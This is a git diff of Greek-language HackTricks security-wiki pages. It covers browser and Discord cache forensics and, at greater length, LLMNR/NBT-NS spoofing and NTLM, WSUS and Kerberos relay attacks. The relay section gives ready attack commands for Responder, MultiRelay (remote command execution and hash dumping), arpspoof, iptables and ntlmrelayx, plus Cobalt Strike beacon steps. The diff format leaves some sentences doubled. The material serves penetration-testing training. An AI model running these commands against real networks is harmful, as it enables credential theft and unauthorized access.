- **Browsers built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η λειτουργία είναι ενεργή.
## Opera
Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και μοιράζονται τη μορφή του Chrome για ιστορικό και λήψεις.
Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και χρησιμοποιούν την ίδια μορφή με το Chrome για ιστορικό και λήψεις.
- **Browsers built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences είναι ρυθμισμένο σε `true` χρησιμοποιώντας `grep`.
- **Browsers built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences έχει τιμή `true` χρησιμοποιώντας `grep`.
Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύονται από διάφορους ιστότοπους.
Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύουν οι διαφορετικοί web browsers.
## References

View File

@ -0,0 +1,89 @@
# Discord Cache Forensics (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα συνοψίζει πώς να διαχειριστείτε την cache του Discord Desktop για να ανακτήσετε εξαχθέντα αρχεία, webhook endpoints και χρονολογίες δραστηριότητας. Το Discord Desktop είναι εφαρμογή Electron/Chromium και χρησιμοποιεί Chromium Simple Cache στο δίσκο.
## Πού να κοιτάξετε (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Βασικές δομές στο δίσκο μέσα στο Cache_Data:
- index: βάση δεδομένων ευρετηρίου του Simple Cache
- data_#: Δυαδικά αρχεία μπλοκ cache που μπορούν να περιέχουν πολλαπλά αποθηκευμένα αντικείμενα
- f_######: Ατομικές εγγραφές cache αποθηκευμένες ως ξεχωριστά αρχεία (συχνά μεγαλύτερα περιεχόμενα)
Σημείωση: Η διαγραφή μηνυμάτων/καναλιών/servers στο Discord δεν εκκαθαρίζει αυτήν την τοπική cache. Τα αποθηκευμένα στοιχεία συχνά παραμένουν και οι χρονικές σφραγίδες των αρχείων αντιστοιχούν στη δραστηριότητα του χρήστη, επιτρέποντας την ανακατασκευή χρονολογίου.
## Τι μπορεί να ανακτηθεί
- Εξαχθέντα συνημμένα και μικρογραφίες που λήφθηκαν μέσω cdn.discordapp.com/media.discordapp.net
- Εικόνες, GIFs, βίντεο (π.χ., .jpg, .png, .gif, .webp, .mp4, .webm)
- Webhook URLs (https://discord.com/api/webhooks/…)
- Discord API calls (https://discord.com/api/vX/…)
- Χρήσιμο για τη συσχέτιση beaconing/exfil δραστηριότητας και για το hashing μέσων για αντιστοίχιση intel
## Γρήγορη διαλογή (χειροκίνητη)
- Χρησιμοποιήστε grep/αναζητήσεις στην cache για artifacts υψηλής σημασίας:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- Ταξινομήστε τις εγγραφές cache κατά χρόνο τροποποίησης για να φτιάξετε ένα γρήγορο χρονολόγιο (mtime αντικατοπτρίζει πότε το αντικείμενο χτύπησε την cache):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## Parsing f_* entries (HTTP body + headers)
Τα αρχεία που ξεκινούν με f_ περιέχουν HTTP response headers ακολουθούμενα από το σώμα. Το μπλοκ των headers συνήθως τελειώνει με \r\n\r\n. Χρήσιμα response headers περιλαμβάνουν:
- Content-Type: Για να εξαχθεί ο τύπος μέσου
- Content-Location or X-Original-URL: Το αρχικό απομακρυσμένο URL για συσχέτιση/προεπισκόπηση
- Content-Encoding: Μπορεί να είναι gzip/deflate/br (Brotli)
Τα μέσα μπορούν να εξαχθούν διαχωρίζοντας τα headers από το σώμα και προαιρετικά αποσυμπιέζοντας με βάση το Content-Encoding. Η ανίχνευση μέσω magic-bytes είναι χρήσιμη όταν το Content-Type λείπει.
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- Function: Σαρώει αναδρομικά τον φάκελο cache του Discord, εντοπίζει webhook/API/attachment URLs, αναλύει τα f_* σώματα, προαιρετικά carve-άρει media, και εξάγει αναφορές χρονολογίου σε HTML + CSV με SHA256 hashes.
Example CLI usage:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
Key options:
- --cache: Path to Cache_Data
- --format html|csv|both
- --timeline: Εξάγει ταξινομημένο CSV timeline (κατά modified time)
- --extra: Επίσης σαρώστε τους παρεμφερείς φακέλους Code Cache και GPUCache
- --carve: Εξάγει media από raw bytes κοντά σε regex hits (images/video)
- Output: HTML report, CSV report, CSV timeline, και φάκελος media με carved/extracted αρχεία
## Analyst tips
- Συσχετίστε το modified time (mtime) των αρχείων f_* και data_* με τα παράθυρα δραστηριότητας χρήστη/επιτιθέμενου για να ανασυνθέσετε ένα χρονολόγιο.
- Υπολογίστε το hash των ανακτημένων media (SHA-256) και συγκρίνετέ το με γνωστά-κακόβουλα ή exfil datasets.
- Οι εξαγόμενοι webhook URLs μπορούν να ελεγχθούν για διαθεσιμότητα (liveness) ή να ανανεωθούν· σκεφτείτε να τα προσθέσετε σε blocklists και retro-hunting proxies.
- Η cache παραμένει μετά το “wiping” στην πλευρά του server. Αν είναι δυνατή η απόκτηση, συλλέξτε ολόκληρο τον κατάλογο Cache και τους σχετικούς παρεμφερείς caches (Code Cache, GPUCache).
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,75 +1,75 @@
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
# Spoofing LLMNR, NBT-NS, mDNS/DNS και WPAD and Relay Attacks
{{#include ../../banners/hacktricks-training.md}}
## Network Protocols
## Πρωτόκολλα Δικτύου
### Local Host Resolution Protocols
### Πρωτόκολλα τοπικής επίλυσης ονομάτων
- **LLMNR, NBT-NS, and mDNS**:
- Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα της Apple και του Linux χρησιμοποιούν mDNS.
- Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολές και spoofing λόγω της μη αυθεντικοποιημένης, ραδιοφωνικής φύσης τους μέσω UDP.
- [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να μιμηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα.
- Περαιτέρω πληροφορίες σχετικά με την μίμηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
- Τα Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική επίλυση ονομάτων όταν το DNS αποτυγχάνει. Παρομοίως, τα Apple και Linux συστήματα χρησιμοποιούν mDNS.
- Αυτά τα πρωτόκολλα είναι ευπαθή σε υποκλοπή και spoofing λόγω της μη-επαληθευμένης, broadcast φύσης τους πάνω από UDP.
- [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να υποδυθεί υπηρεσίες στέλνοντας ψευδείς απαντήσεις σε hosts που κάνουν ερωτήματα σε αυτά τα πρωτόκολλα.
- Περαιτέρω πληροφορίες για service impersonation χρησιμοποιώντας Responder υπάρχουν [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Web Proxy Auto-Discovery Protocol (WPAD)
- Το WPAD επιτρέπει στους περιηγητές να ανακαλύπτουν αυτόματα τις ρυθμίσεις του proxy.
- Η ανακάλυψη διευκολύνεται μέσω DHCP, DNS ή εναλλακτικά μέσω LLMNR και NBT-NS αν αποτύχει το DNS.
- Το Responder μπορεί να αυτοματοποιήσει επιθέσεις WPAD, κατευθύνοντας τους πελάτες σε κακόβουλους διακομιστές WPAD.
- Το WPAD επιτρέπει στους browsers να εντοπίζουν αυτόματα τις ρυθμίσεις proxy.
- Η ανακάλυψη γίνεται μέσω DHCP, DNS ή fallback σε LLMNR και NBT-NS εάν το DNS αποτύχει.
- Το Responder μπορεί να αυτοματοποιήσει WPAD επιθέσεις, κατευθύνοντας clients σε κακόβουλους WPAD servers.
### Responder for Protocol Poisoning
### Responder για Protocol Poisoning
- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας σε υπηρεσίες SMB.
- Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο `/etc/responder/Responder.conf`.
- Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο `/usr/share/responder/logs`.
- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για poisoning ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά βάσει τύπου ερωτήματος, στοχεύοντας κυρίως υπηρεσίες SMB.
- Έρχεται προεγκατεστημένο στο Kali Linux, και ρυθμίζεται στο `/etc/responder/Responder.conf`.
- Το Responder εμφανίζει τα αιχμαλωτισμένα hashes στην οθόνη και τα αποθηκεύει στον κατάλογο `/usr/share/responder/logs`.
- Υποστηρίζει τόσο IPv4 όσο και IPv6.
- Η έκδοση Windows του Responder είναι διαθέσιμη [εδώ](https://github.com/lgandx/Responder-Windows).
- Η Windows έκδοση του Responder είναι διαθέσιμη [here](https://github.com/lgandx/Responder-Windows).
#### Running Responder
#### Εκτέλεση Responder
- Για να τρέξετε το Responder με προεπιλεγμένες ρυθμίσεις: `responder -I <Interface>`
- Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες): `responder -I <Interface> -P -r -v`
- Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση: `responder -I <Interface> --lm --disable-ess`
- Η μίμηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I <Interface> --wpad`
- Τα αιτήματα NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I <interface> -Pv`
- Για να τρέξετε το Responder με τις προεπιλεγμένες ρυθμίσεις: `responder -I <Interface>`
- Για πιο επιθετική διερεύνηση (με πιθανές παρενέργειες): `responder -I <Interface> -P -r -v`
- Τεχνικές για να συλλάβετε NTLMv1 challenges/responses για ευκολότερο cracking: `responder -I <Interface> --lm --disable-ess`
- WPAD impersonation μπορεί να ενεργοποιηθεί με: `responder -I <Interface> --wpad`
- Τα NetBIOS requests μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και να στηθεί ένας authentication proxy: `responder.py -I <interface> -Pv`
### DHCP Poisoning with Responder
### DHCP Poisoning με Responder
- Η πλαστογράφηση των απαντήσεων DHCP μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο διακριτική εναλλακτική λύση από την δηλητηρίαση ARP.
- Απαιτεί ακριβή γνώση της διαμόρφωσης του δικτύου στόχου.
- Το spoofing των DHCP απαντήσεων μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο stealthy εναλλακτική έναντι του ARP poisoning.
- Απαιτεί ακριβή γνώση της διαμόρφωσης του στοχευόμενου δικτύου.
- Εκτέλεση της επίθεσης: `./Responder.py -I eth0 -Pdv`
- Αυτή η μέθοδος μπορεί να καταγράψει αποτελεσματικά τους κατακερματισμούς NTLMv1/2, αλλά απαιτεί προσεκτική διαχείριση για να αποφευχθεί η διακοπή του δικτύου.
- Αυτή η μέθοδος μπορεί να συλλάβει αποτελεσματικά NTLMv1/2 hashes, αλλά χρειάζεται προσεκτικό χειρισμό για να αποφευχθεί η διακοπή του δικτύου.
### Capturing Credentials with Responder
### Συλλογή credentials με Responder
- Το Responder θα μιμηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες.
- Μπορούν να γίνουν προσπάθειες υποβάθμισης σε NetNTLMv1 ή απενεργοποίησης ESS για ευκολότερη διάσπαση διαπιστευτηρίων.
- Το Responder θα υποδυθεί υπηρεσίες χρησιμοποιώντας τα προαναφερθέντα πρωτόκολλα, συλλαμβάνοντας credentials (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί απέναντι στις spoofed υπηρεσίες.
- Μπορούν να γίνουν προσπάθειες για downgrade σε NetNTLMv1 ή απενεργοποίηση ESS για ευκολότερο cracking των credentials.
Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών θα πρέπει να γίνεται νομίμως και ηθικά, εξασφαλίζοντας την κατάλληλη εξουσιοδότηση και αποφεύγοντας τη διακοπή ή μη εξουσιοδοτημένη πρόσβαση.
Είναι κρίσιμο να σημειωθεί ότι η εφαρμογή αυτών των τεχνικών πρέπει να γίνεται νόμιμα και ηθικά, εξασφαλίζοντας κατάλληλη εξουσιοδότηση και αποφεύγοντας διαταραχή ή μη εξουσιοδοτημένη πρόσβαση.
## Inveigh
Το Inveigh είναι ένα εργαλείο για δοκιμαστές διείσδυσης και ομάδες κόκκινων, σχεδιασμένο για συστήματα Windows. Προσφέρει λειτουργίες παρόμοιες με το Responder, εκτελώντας επιθέσεις spoofing και man-in-the-middle. Το εργαλείο έχει εξελιχθεί από ένα script PowerShell σε ένα δυαδικό αρχείο C#, με [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) και [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες μπορούν να βρεθούν στο [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Το Inveigh είναι ένα εργαλείο για penetration testers και red teamers, σχεδιασμένο για Windows συστήματα. Προσφέρει λειτουργίες παρόμοιες με το Responder, πραγματοποιώντας spoofing και man-in-the-middle επιθέσεις. Το εργαλείο εξελίχθηκε από ένα PowerShell script σε ένα C# binary, με τα [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) και [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες βρίσκονται στο [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Το Inveigh μπορεί να λειτουργήσει μέσω PowerShell:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Ή εκτελείται ως δυαδικό αρχείο C#:
Ή εκτελεστεί ως C# binary:
```bash
Inveigh.exe
```
### NTLM Relay Attack
Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες αυθεντικοποίησης SMB για να αποκτήσει πρόσβαση σε μια στοχοθετημένη μηχανή, παρέχοντας ένα σύστημα shell αν είναι επιτυχής. Οι βασικές προϋποθέσεις περιλαμβάνουν:
Αυτή η επίθεση εκμεταλλεύεται τις SMB συνεδρίες αυθεντικοποίησης για πρόσβαση σε έναν στόχο, παρέχοντας system shell αν επιτύχει. Βασικές προαπαιτήσεις περιλαμβάνουν:
- Ο αυθεντικοποιημένος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή.
- Η υπογραφή SMB θα πρέπει να είναι απενεργοποιημένη.
- Ο χρήστης που αυθεντικοποιείται πρέπει να έχει Local Admin πρόσβαση στον relayed host.
- Το SMB signing πρέπει να είναι απενεργοποιημένο.
#### 445 Port Forwarding and Tunneling
#### 445 Προώθηση θυρών και τούνελ
Σε σενάρια όπου η άμεση εισαγωγή δικτύου δεν είναι εφικτή, η κίνηση στην πόρτα 445 πρέπει να προωθηθεί και να τούνελ. Εργαλεία όπως το [**PortBender**](https://github.com/praetorian-inc/PortBender) βοηθούν στην ανακατεύθυνση της κίνησης της πόρτας 445 σε άλλη πόρτα, κάτι που είναι απαραίτητο όταν υπάρχει πρόσβαση local admin για τη φόρτωση οδηγών.
Σε περιπτώσεις όπου η άμεση δικτυακή πρόσβαση δεν είναι εφικτή, η κυκλοφορία στην πόρτα 445 πρέπει να προωθηθεί και να περάσει μέσω τούνελ. Εργαλεία όπως το [**PortBender**](https://github.com/praetorian-inc/PortBender) βοηθούν στην ανακατεύθυνση της κυκλοφορίας της πόρτας 445 σε άλλη θύρα, κάτι που είναι απαραίτητο όταν υπάρχει Local Admin πρόσβαση για το φόρτωμα του driver.
PortBender setup and operation in Cobalt Strike:
```bash
@ -87,17 +87,17 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Άλλα Εργαλεία για Επίθεση NTLM Relay
### Άλλα εργαλεία για NTLM Relay Attack
- **Metasploit**: Ρυθμισμένο με proxies, λεπτομέρειες τοπικών και απομακρυσμένων hosts.
- **smbrelayx**: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors.
- **MultiRelay**: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes.
- **Metasploit**: Ρυθμίζεται με proxies, λεπτομέρειες τοπικού και απομακρυσμένου host.
- **smbrelayx**: Ένα Python script για relaying SMB sessions και εκτέλεση εντολών ή ανάπτυξη backdoors.
- **MultiRelay**: Ένα εργαλείο από το Responder suite για relay συγκεκριμένων ή όλων των χρηστών, εκτέλεση εντολών ή dump hashes.
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν είναι απαραίτητο, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω SOCKS proxy αν χρειάζεται, επιτρέποντας επιθέσεις ακόμα και με έμμεση πρόσβαση στο δίκτυο.
### Λειτουργία MultiRelay
Το MultiRelay εκτελείται από τον _**/usr/share/responder/tools**_ φάκελο, στοχεύοντας συγκεκριμένες IP ή χρήστες.
Το MultiRelay εκτελείται από τον _**/usr/share/responder/tools**_ κατάλογο, στοχεύοντας συγκεκριμένα IPs ή users.
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,48 +105,110 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
Αυτά τα εργαλεία και οι τεχνικές σχηματίζουν ένα ολοκληρωμένο σύνολο για την εκτέλεση επιθέσεων NTLM Relay σε διάφορα δίκτυα.
Αυτά τα εργαλεία και οι τεχνικές αποτελούν ένα ολοκληρωμένο σύνολο για τη διεξαγωγή NTLM Relay επιθέσεων σε διάφορα δικτυακά περιβάλλοντα.
### Εξαναγκασμός NTLM Συνδέσεων
### Κατάχρηση WSUS HTTP (8530) για NTLM Relay προς LDAP/SMB/AD CS (ESC8)
Οι WSUS clients αυθεντικοποιούνται στον update server τους χρησιμοποιώντας NTLM πάνω από HTTP (8530) ή HTTPS (8531). Όταν το HTTP είναι ενεργοποιημένο, οι περιοδικοί έλεγχοι των clients μπορούν να εξαναγκαστούν ή να υποκλαπούν στο τοπικό τμήμα και να αναμεταδοθούν με ntlmrelayx σε LDAP/LDAPS/SMB ή AD CS HTTP endpoints (ESC8) χωρίς να σπάνετε hashes. Αυτό συγχέεται με τη συνηθισμένη κυκλοφορία ενημερώσεων και συχνά αποφέρει αυθεντικοποιήσεις λογαριασμών μηχανών (HOST$).
Τι να αναζητήσετε
- Ρυθμίσεις GPO/registry κάτω από HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate και ...\WindowsUpdate\AU:
- WUServer (π.χ., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled και DetectionFrequency (ώρες)
- WSUS SOAP endpoints που χρησιμοποιούν οι clients μέσω HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Προεπιλεγμένες θύρες: 8530/tcp HTTP, 8531/tcp HTTPS
Αναγνώριση
- Χωρίς αυθεντικοποίηση
- Σάρωση για listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- Sniff HTTP WSUS traffic μέσω L2 MITM και καταγραφή ενεργών clients/endpoints με wsusniff.py (HTTP μόνο εκτός αν μπορέσετε να κάνετε τους clients να εμπιστευτούν το TLS cert σας).
- Με αυθεντικοποίηση
- Ανάλυση SYSVOL GPOs για WSUS keys με MANSPIDER + regpol (το wrapper wsuspider.sh συνοψίζει WUServer/WUStatusServer/UseWUServer).
- Ερωτήματα σε endpoints σε κλίμακα από hosts (NetExec) ή τοπικά:
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
Βήματα ολοκληρωμένου HTTP relay
1) Τοποθετηθείτε για MITM (ίδιο L2) ώστε ένας client να επιλύει τον WSUS server σε εσάς (ARP/DNS poisoning, Bettercap, mitm6, κ.λπ.). Παράδειγμα με arpspoof:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) Ανακατευθύνετε την πόρτα 8530 στον listener του relay σας (προαιρετικό, βολικό):
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) Ξεκινήστε ntlmrelayx με τον HTTP listener (απαιτεί υποστήριξη Impacket για HTTP listener; δείτε τα PRs παρακάτω):
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
Άλλοι κοινοί στόχοι:
- Relay σε SMB (αν το signing είναι off) για exec/dump: -t smb://<host>
- Relay σε LDAPS για αλλαγές στον κατάλογο (π.χ., RBCD): -t ldaps://<DC>
- Relay σε AD CS web enrollment (ESC8) για να δημιουργήσετε ένα cert και στη συνέχεια να αυθεντικοποιηθείτε μέσω Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
Για βαθύτερα μονοπάτια κατάχρησης AD CS και εργαλεία, δείτε τη σελίδα AD CS:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) Προκαλέστε έναν client check-in ή περιμένετε το προγραμματισμένο. Από έναν client:
wuauclt.exe /detectnow
ή χρησιμοποιήστε το Windows Update UI (Check for updates).
5) Χρησιμοποιήστε τις αυθεντικοποιημένες SOCKS συνεδρίες (αν χρησιμοποιήσατε -socks) ή τα άμεσα αποτελέσματα relay για post-exploitation (αλλαγές LDAP, εντολές SMB, ή έκδοση πιστοποιητικού AD CS για μετέπειτα αυθεντικοποίηση).
Περιορισμός HTTPS (8531)
- Η παθητική υποκλοπή του WSUS πάνω από HTTPS είναι αναποτελεσματική εκτός αν οι clients εμπιστεύονται το πιστοποιητικό σας. Χωρίς ένα έμπιστο cert ή άλλη θραύση TLS, το NTLM handshake δεν μπορεί να συλλεχθεί/αναμεταδοθεί από την κίνηση WSUS HTTPS.
Σημειώσεις
- Το WSUS ανακοινώθηκε ως deprecated αλλά παραμένει ευρέως αναπτυγμένο; το HTTP (8530) εξακολουθεί να είναι κοινό σε πολλά περιβάλλοντα.
- Χρήσιμοι βοηθοί: wsusniff.py (παρατήρηση HTTP WSUS check-ins), wsuspider.sh (εντοπισμός WUServer/WUStatusServer από GPOs), NetExec reg-query σε κλίμακα.
- Το Impacket επανέφερε την υποστήριξη HTTP listener για ntlmrelayx στο PR #2034 (πρωτοεμφανίστηκε αρχικά στο PR #913).
### Εξαναγκασμός NTLM συνδέσεων
Στα Windows μπορεί να έχετε τη δυνατότητα να εξαναγκάσετε ορισμένους privileged λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές. Δείτε την παρακάτω σελίδα για να μάθετε πώς:
Στα Windows, **μπορεί να είστε σε θέση να εξαναγκάσετε κάποιους προνομιούχους λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές**. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Επίθεση Kerberos Relay
## Kerberos Relay attack
Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί παρόλο που οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/``LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής.
Μια **Kerberos relay attack** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί απέναντι σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο computer-account key** (επειδή και τα δύο SPNs ανήκουν στον ίδιο `$` machine account). Αυτό λειτουργεί ακόμα και αν οι κλάσεις υπηρεσίας των SPNs διαφέρουν (π.χ. `CIFS/``LDAP/`) επειδή το κλειδί που αποκρυπτογραφεί το ticket είναι το NT hash της μηχανής, όχι το ίδιο το SPN string, και το SPN string δεν είναι μέρος της υπογραφής.
Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην *ίδια υποδοχή*, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε **Resource-Based Constrained Delegation (RBCD)** ή **AD CS enrollment** και να αποκτήσετε **NT AUTHORITY\SYSTEM** με μία μόνο κίνηση.
Σε αντίθεση με το NTLM relay, το άλμα περιορίζεται στον *ίδιο host* αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράψετε σε LDAP, μπορείτε να αλυσοδέσετε σε **Resource-Based Constrained Delegation (RBCD)** ή **AD CS enrollment** και να αποκτήσετε **NT AUTHORITY\SYSTEM** με ένα μόνο χτύπημα.
Για λεπτομερείς πληροφορίες σχετικά με αυτή την επίθεση, ελέγξτε:
Για λεπτομερείς πληροφορίες γι αυτή την επίθεση δείτε:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Βασικές έννοιες Kerberos**
- 1. **Kerberos basics**
| Token | Σκοπός | Σχέση με Relay |
| Token | Purpose | Relay relevance |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Αποδεικνύει τον χρήστη στο KDC | ανέγγιχτο |
| **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν οι SPNs μοιράζονται λογαριασμό |
| **AP-REQ** | Ο πελάτης στέλνει `TGS` στην υπηρεσία | **αυτό που κλέβουμε & επαναχρησιμοποιούμε** |
| **TGT / AS-REQ ↔ REP** | Αποδεικνύει τον χρήστη στο KDC | απείραχτο |
| **Service ticket / TGS-REQ ↔ REP** | Δεσμευμένο σε ένα **SPN**; κρυπτογραφημένο με το κλειδί του ιδιοκτήτη του SPN | εναλλάξιμο αν τα SPNs μοιράζονται τον ίδιο λογαριασμό |
| **AP-REQ** | Ο client στέλνει `TGS` στην υπηρεσία | **αυτό που κλέβουμε & επαναπαίζουμε** |
* Τα εισιτήρια κρυπτογραφούνται με το **κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN**.
